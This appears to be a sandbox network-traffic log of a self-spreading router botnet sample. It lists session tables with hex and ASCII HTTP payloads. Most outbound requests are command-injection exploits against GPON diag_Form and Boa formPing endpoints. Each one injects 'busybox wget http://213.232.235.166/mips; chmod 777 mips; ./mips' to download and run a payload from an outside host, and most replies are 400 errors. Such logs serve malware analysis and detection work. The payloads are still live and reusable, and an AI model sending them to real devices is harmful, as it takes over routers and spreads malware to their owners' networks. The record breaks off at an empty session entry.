Apr 15, 2024 08:53:50.374099970 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.872368097 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:52.160355091 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:52 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.13	55678	18.164.45.12	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.382448912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.676233053 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 22746ff832b635f98716b999f6c6f002.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG50-P4 X-Amz-Cf-Id: bVBYT9msu12sGRAGQZb96l0gko0SxQECLqy5cmnTmXz8PdTG0YKj2w== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 62 56 42 59 54 39 6d 73 75 31 32 73 47 52 41 47 51 5a 62 39 36 6c 30 67 6b 6f 30 53 78 51 45 43 4c 71 79 35 63 6d 6e 54 6d 58 7a 38 50 64 54 47 30 59 4b 6a 32 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: bVBYT9msu12sGRAGQZb96l0gko0SxQECLqy5cmnTmXz8PdTG0YKj2w==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.13	40032	104.96.146.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.389156103 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.697961092 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:50 GMT Date: Mon, 15 Apr 2024 06:53:50 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 34 65 31 32 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 30 26 23 34 36 3b 33 38 33 30 33 61 33 64 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 34 65 31 32 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 30 26 23 34 36 3b 33 38 33 30 33 61 33 64 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e4e1202.1713164030.38303a3d<P>https://errors.edgesuite.net/9.e4e1202.1713164030.38303a3d</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.13	46088	195.231.16.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.398423910 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.717309952 CEST	427	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 12:44:00 GMT Server: Apache X-Frame-Options: DENY Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.13	44734	3.7.4.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.478013992 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.875734091 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:50 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.13	46006	62.29.72.68	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.580074072 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.13	35434	62.29.4.145	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.582819939 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.13	40886	108.159.219.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.609169960 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.814905882 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 0e65005fd8b7270f4abc0c23bd5f2fbc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P4 X-Amz-Cf-Id: gOR_OmoHdtjrgHQ-3FF9TLtbU1NHGsFpoNUdWoejqfoROtprLEi2UA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 67 4f 52 5f 4f 6d 6f 48 64 74 6a 72 67 48 51 2d 33 46 46 39 54 4c 74 62 55 31 4e 48 47 73 46 70 6f 4e 55 64 57 6f 65 6a 71 66 6f 52 4f 74 70 72 4c 45 69 32 55 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: gOR_OmoHdtjrgHQ-3FF9TLtbU1NHGsFpoNUdWoejqfoROtprLEi2UA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.13	37650	66.22.57.83	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.614763021 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.829273939 CEST	305	IN	HTTP/1.1 400 Bad Request Server: rdwr Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 149 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 72 64 77 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>rdwr</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.13	53168	90.160.199.73	80

Timestamp	Bytes transferred	Direction	Data
